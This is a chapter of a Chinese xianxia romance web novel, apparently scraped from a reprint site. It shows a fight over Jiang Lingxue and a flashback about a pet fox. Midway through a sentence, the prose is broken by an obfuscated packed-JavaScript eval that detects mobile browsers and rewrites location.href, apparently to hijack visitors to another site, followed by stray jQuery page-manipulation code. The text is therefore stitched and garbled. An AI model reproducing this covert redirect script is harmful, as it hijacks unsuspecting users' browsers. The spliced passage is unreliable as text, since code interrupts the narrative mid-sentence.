怎么净是一堆麻烦。
楚云晞不耐地转过身,只一眼,所有的表情就凝固在脸上,迟迟无法移开视线。
只见红阶上缓缓走上来了一位戴着白狐面具的青年,他穿了一身艳丽的红色劲装,腰间悬挂银铃,银色与红色纠缠在一起,极其惹眼。
但这不是重点,楚云晞愕然地盯着他身后的白衣人,尽管看不清面容,但那种熟悉的感觉……
楚云晞在心中默默估量了一下那人腰身的宽窄,大概一个胳膊就能揽住,错不了,就是江令雪本人!
“我早该猜到是你,”宋南烟走上前,轻轻嗤道,“从幽州追到这里,不知道的还以为你对我情根深种呢。”
兰蘅笑得柔情蜜意,面具后的双眸隐含杀意:“你也就现在耍耍嘴皮子了,不妨多说几句,一会儿好上路。”
宋南烟一愣,不知何时,身后传来冰冷的,如同鬼魅的吐息。
她迅捷转身,一把合上扇子,从后方偷袭的剑尖猛地碰撞上扇柄,巨大的冲击力让她后撤一步,冷冷注视着用剑指他的黑衣男子。
兰蘅见状抚掌笑出声来,不禁赞叹:“许久不见你身法见长啊,比偷我东西那时长进了太多。”
宋南烟没空理他,因为楼至转眼又阴恻恻地缠了上来,她先前就领教过这个人的身手,只能说幸好玲珑坊内施展不了灵力,不然又要见到那只恐怖的大虫子。
说曹操曹操到,怕什么来什么,楼至这次没带大虫子,倒是带了只小的。
只见他低声念叨了什么咒语,不知道从哪里冒出来一条浑身漆黑的蛇,缓缓爬上他的肩膀,嘶嘶吐着蛇信子,瞳仁尖细而猩红,没给宋南烟反应的空间,锁定她的瞬间,张开血盆大口就朝她扑了过来。
宋南烟从小就怕这种东西,顿时被吓出一身鸡皮疙瘩,她咬咬牙,连忙弯腰堪堪避过黑蛇,回头对楚云晞喊道:“我要先走了,兄弟你自求多福!”
说着,只见她忽然从头发里拔出发钗,不过眨眼间,那发簪竟然变得巨大,形似一把剑。
宋南烟一脚踩在上面,这簪子竟然能够不靠任何内力运转,腾腾冒起气来,一道光划过,眼看着就要载着她从窗户里飞出去。
楼至和兰蘅对视一眼,看到了彼此眼底的深意。
“楼至,拦住她!”
宋南烟没站稳,耳畔就响起来了空气被撕裂的嗖嗖声,一听就是有无数个暗器从四面八方向她冲了过来。
一根银针似的东西堪堪擦过她的侧脸,死死定在面前的墙上,刹那,墙上就泛起黑雾来,发出像沸水一般的咕嘟冒泡声,墙皮应声脱落,赫然被腐蚀了一大片。
宋南烟面色发白,没有任何反应的时间,又是一针袭来,慌忙闪身躲避,随着仰头,衣袖在风中掀起一个圆滑的弧形。
外面就是深不见底的湖水,兰蘅挑起唇角,捏紧银针,略一抬手,直直朝她的下盘攻去。
并且,另一边还有一直虎视眈眈的楼至,瞅准时机,提剑冲了上去。
双方夹击,宋南烟不免焦头烂额,为了避开楼至刺过来的这剑,她没站稳,差点就要跌落下去,就在这千钧一发之际——
兰蘅听到一声清晰的闷哼。
他抬眼看去,瞳孔不由自主地一缩。
映入眼帘的是,楚云晞一把抓住了那条在地上游走的黑蛇,任由黑蛇两颗尖牙刺入手腕,血肉被撕扯,滴下鲜血来。
可是,兰蘅看见,楚云晞好像没有丝毫痛感,拇指抵上黑蛇的气管处。
“不要!”
楚云晞已然狠狠按了下去。
哐嘡一声,楼至跪在了地上,他似乎呼吸不畅,掐着自己的脖子发出痛苦的喘息。
兵刃交接的声音终于停了下来,空气一时凝滞。
宋南烟紧紧扒着窗框,使出了九牛二虎之力才没有掉下去,好不容易翻进窗子,落在地上腿一软,警惕地看着面前的局势。
“我们与你无冤无仇。”兰蘅完全忽视了宋南烟,锐利的目光直直落在楚云晞脸上,企图看清对面这个神秘男人此刻的意图。
“你需要什么?金钱?还是灵石?宋南烟能给你的,我能给你十倍。”
楚云晞没什么表情,视线越过他,落在他背后的江令雪身上,抬抬下巴示意:“我要他。”
兰蘅好像要从他身上活活剜下一块肉,沉默了几秒,颤着声音开口:“为什么?”
“你话这么多?”楚云晞不耐地挑眉,手上力度越来越大。
兰蘅一惊,猛地去看倒在地上的楼至,对方明明痛得要命,脖子上都滴下冷汗来,还是从嗓子里挤出沙哑的声音:“不……不用管我……”
兰蘅扭过头长吸一口气,似乎在忍耐着怒气,低声威胁:“我劝你不要不知好歹……”
“让他过来。”楚云晞不为所动。
兰蘅闻言眼角染上些笑意,眸子微微眯起,用小声却能让楚云晞听到的声音问江令雪:“你想过去吗?”
楚云晞的表情终于出现了一丝裂痕,因为他看见江令雪迟钝地摇头,甚至抓住兰蘅的袖子,行动之中透露着抗拒。
“你是在跟我赌气吗?”楚云晞蹙眉,视线锁定江令雪,反复深呼吸了好几次才忍住冲过去把人抢过来的冲动。
江令雪没动,也没有吭声。
兰蘅的目光带上审视,认识江令雪?那便更不能留了,于是他状若无辜道:“他不愿意过去,那我也没法强人所难啊。”
在不知道的地方,他悄悄从袖子里翻出了一颗通体金色的药丸,然后碾碎在指尖。
“你是不是活得不耐烦了?”楚云晞显然已经没耐心和他耗下去,手中长剑直指兰蘅的咽喉。
室内陡然涌起一股暗香。
“呵。”兰蘅轻笑,忽然握住了削薄的剑刃,下一秒,一整柄剑竟然生生被烧成了灰。
宋南烟惊讶道:“你怎么能用内力了?!又是慕容惜给你开的后门吗?”
“闭嘴。”兰蘅扫她一眼,像在看一只无足轻重的蝼蚁,稍微伸手,直接隔空掐住了宋南烟的脖子。
“咳咳咳……夜无明你不讲武德……”
“聒噪。”兰蘅一边使劲,一边看向楚云晞,眼底是无穷的阴郁。
“你把手上的东西放了,我还可以大发慈悲饶你一条命,否则……”
“否则什么,”楚云晞挑起眉梢,居高临下地开口,“用丹药强行催发内力,你不怕走火入魔然后爆体而亡吗?”
他……怎么知道?!
“你究竟是谁?”兰蘅抿唇,一股躁郁涌上来,身上的灵力开始乱窜,积攒到了一定地步,倏地朝楚云晞冲了过来。
一瞬间爆发的灵力直接将楚云晞震得猛地退后好几步,宋南烟则是直接飞了出去,徒留一阵“救命啊”的回音,不知道有没有掉在湖里。
屋子里顿时弥漫起浓浓的黑烟,连带着细碎的火星,一路攀上窗外的青空。
隐隐约约,楚云晞在烈火的虚影中看到了一抹白色,极其纯洁柔软的白色,好像是头发?
心中升腾起一股怪异的熟悉感,可没等他想清楚,兰蘅迅猛地抬手朝他抓了过来。
那双手上不知何时冒出来的尖锐锋利的爪子,直直朝着楚云晞脸挠。
“殷……昼?”
楚云晞不可置信地看着火光里青年的面庞,白发红衣,一双眼睛极具有攻击性的美,瞳孔泛红,像惊心动魄的血。
但比起浓艳,楚云晞更多想起的却是他毛茸茸头顶上的两只耳朵,以前殷昼还是狐狸时,最喜欢被师姐师妹们摸脑门,次数多了,险些将毛都摸秃了。
以前他还动不动喜欢窝在江令雪怀里,每次楚云晞一靠近就发出哼哼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029804|193084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唧唧的怪声,不让靠近。
可楚云晞才不管这些事情,他顺手捏起这小东西的后脖子,一扔,就把白毛狐狸扔进了雪堆里。
那时候,他还不叫兰蘅,也不叫夜无明,更不叫殷昼,他叫,糖葫芦串儿。
这名字听着很滑稽,由来也很滑稽。
楚云晞和江令雪一日下山做任务,恰逢集会,碰见了好多卖糖葫芦的摊子,橘子、梅子、山楂……各种口味应有尽有。
江令雪平时不怎么下山,没见过更没吃过,因此悄悄看了那摊子好多眼,但碍于在其他师兄弟面前的脸面,为了塑造自己高贵冷艳的人设,硬是忍住了。
偏偏那时候的楚云晞还是个爱捉弄人的,为了馋一馋他的好师兄,特地买了一串青提糖葫芦。
那提子翠绿莹润,吃进嘴里就爆汁,酸酸甜甜一点都不齁,楚云晞边叼下一个,边笑眯眯地自言自语。
“哎,之前没吃过这家的,今天一尝,还怪好吃的。”
江令雪瞪他,没好气道:“吃东西都堵不住你的嘴。”
楚云晞没理会他一惯的阴阳怪气,反而太阳打西边出来出来似的,悄声问江令雪:“你想不想吃一口?”
江令雪被他问得一愣,不自觉地看向四周,同门大都走在前面,几个几个凑在一起谈天说地,没人关注这边,更别说四周喧闹的人群,他们大都被街边的杂耍吸引了兴趣。
只见一口酒下肚,杂耍的嘴里瞬间就喷出股火来,人群中爆发出喝彩的热潮。
“我……”江令雪嘴上难以启齿,身体却意外诚实,点点头,眼神中流露出一丝不易察觉的期待。
“你凑近点。”楚云晞笑容不变。
江令雪疑惑地往前跨了一小步,微微抬头看他。
视线交接的刹那,两人具是一怔,从对方眼底能清晰看到自己的倒影,那么清澈,那么透亮,好像沉在潭水中。
楚云晞专注地看他,他忽然觉得,这个姿势很适合亲嘴,不对,应该是说,这个姿势很像江令雪在索吻。
很像昨天半夜,江令雪目光空茫地看着自己,意识还没回笼,身体仍旧带着颤,漂亮的脸上全是泪水。
楚云晞一动,江令雪的眼神立马清醒了一瞬,可很快又坠入更深的深渊,在难得的空隙,他下意识地攀附着那起起伏伏的宽阔的肩膀,抬起脸索吻。
于是和那时候一样,楚云晞低头亲了他,然后他看着江令雪的表情由空白到震惊,然后定格在羞赧上。
“你……你……楚云晞你成何体统!”
江令雪你了半天,从嗓子里挤出来一句不痛不痒的责怪。
楚云晞不信他没想到昨晚上,不信他没想到那么多个相同的日夜。
他正打算再逗几下面前这个人,却不想手上忽然一松,定睛看去,他的糖葫芦竟然被一只藏在人群里的狐狸叼跑了!
动作非常快速,俩人赶忙回头也只看见了嫌疑狐的一簇尾巴毛。
于是楚云晞一把拉住他好师兄的手腕,在人潮里找寻那只狐狸
最后还是在驯兽师的摊子前抓到了这只张牙舞爪的小东西,驯兽师连忙道歉,并提出给他俩把这只狐狸的皮扒了做成毛毯来赔罪。
楚云晞看了江令雪一眼,果不其然,看到他皱起眉,有些于心不忍。
眼看着老板拿出长刀,下一秒就要血溅当场。
于是楚云晞眼疾手快地按住老板的手,轻咳了两声。
老板不解,“你干嘛抓我的手?”
楚云晞掏出一块上品灵石,缓缓放到老板手心,语重心长:“挺可爱的,我买了。”
然后俩人就把这玩意儿一路抱回了门派,养在江令雪的院子里,由于这段离谱的经历,于是给它起名,糖葫芦串儿。
当然了,江令雪最后也吃到糖葫芦了,葡萄橘子草莓三拼的。